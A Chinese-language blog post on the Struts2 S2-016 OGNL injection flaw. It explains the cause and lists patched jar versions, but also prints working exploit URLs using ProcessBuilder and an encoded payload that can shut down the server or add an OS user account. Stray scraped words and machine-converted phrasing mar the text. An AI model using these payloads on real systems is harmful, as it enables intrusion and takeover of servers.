升級struts2.3.15以前漏洞

Struts又爆遠程代碼執行漏洞!在此次的漏洞中,攻擊者能夠經過操縱參數遠程執行惡意代碼。Struts 2.3.15.1以前的版本,參數action的值redirect以及redirectAction沒有正確過濾,致使ognl代碼執行。 html

漏洞證實 java

參數會以OGNL表達式執行 web

http://host/struts2-blank/example/X.action?action:%25{3*4} http://host/struts2-showcase/employee/save.action?redirect:%25{3*4}

代碼執行 express

http://host/struts2-blank/example/X.action?action:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} http://host/struts2-showcase/employee/save.action?redirect:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} http://host/struts2-showcase/employee/save.action?redirectAction:%25{(new+java.lang.ProcessBuilder(new+java.lang.String[]{'command','goes','here'})).start()} 

漏洞原理 apache

The Struts 2 DefaultActionMapper supports a method for short-circuit navigation state changes by prefixing parameters with 「action:」 or 「redirect:」, followed by a desired navigational target expression. This mechanism was intended to help with attaching navigational information to buttons within forms. 服務器

In Struts 2 before 2.3.15.1 the information following 「action:」, 「redirect:」 or 「redirectAction:」 is not properly sanitized. Since said information will be evaluated as OGNL expression against the value stack, this introduces the possibility to inject server side code. app

一、原理 框架

Struts2的核心是使用的webwork框架,處理 action時經過調用底層的getter/setter方法來處理http的參數,它將每一個http參數聲明爲一個ONGL(這裏是ONGL的介紹)語句。當咱們提交一個http參數: ide

?user.address.city=Bishkek&user['favoriteDrink']=kumys 
ONGL將它轉換爲:
action.getUser().getAddress().setCity("Bishkek")  
action.getUser().setFavoriteDrink("kumys")  測試

這是經過ParametersInterceptor(參數過濾器)來執行的,使用用戶提供的HTTP參數調用 ValueStack.setValue()。 www.2cto.com

爲了防範篡改服務器端對象,XWork的ParametersInterceptor不容許參數名中出現「#」字符,但若是使用了Java的 unicode字符串表示\u0023,攻擊者就能夠繞過保護,修改保護Java方式執行的值:

 


此處代碼有破壞性,請在測試環境執行,嚴禁用此種方法進行惡意攻擊
?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exit(1)')(\u0023rt\u003d@java.lang.Runtime@getRuntime()))=1 
轉義後是這樣:

?('#_memberAccess['allowStaticMethodAccess']')(meh)=true&(aaa)(('#context['xwork.MethodAccessor.denyMethodExecution']=#foo')(#foo=new%20java.lang.Boolean("false")))&(asdf)(('#rt.exit(1)')(#rt=@java.lang.Runtime@getRuntime()))=1


OGNL處理時最終的結果就是

java.lang.Runtime.getRuntime().exit(1);  //關閉程序,即將web程序關閉

相似的能夠執行
java.lang.Runtime.getRuntime().exec("net user 用戶名 密碼 /add");//增長操做系統用戶,在有權限的狀況下能成功(在URL中用%20替換空格,%2F替換/)
只要有權限就能夠執行任何DOS命令。

Struts升級2.3.15.1 

官方地址:http://struts.apache.org/release/2.3.x/docs/s2-016.html

原來是struts2.1.18升級的時候直接替換jar報錯,須要注意

commons-lang3-3.1.jar (保留commons-lang-2.4.jar)

javassist-3.11.0.GA.jar(新加)

ognl-3.0.6.jar(替換)

struts2-core-2.3.15.1.jar(替換)

xwork-core-2.3.15.1.jar(替換)

相關文章
相關標籤/搜索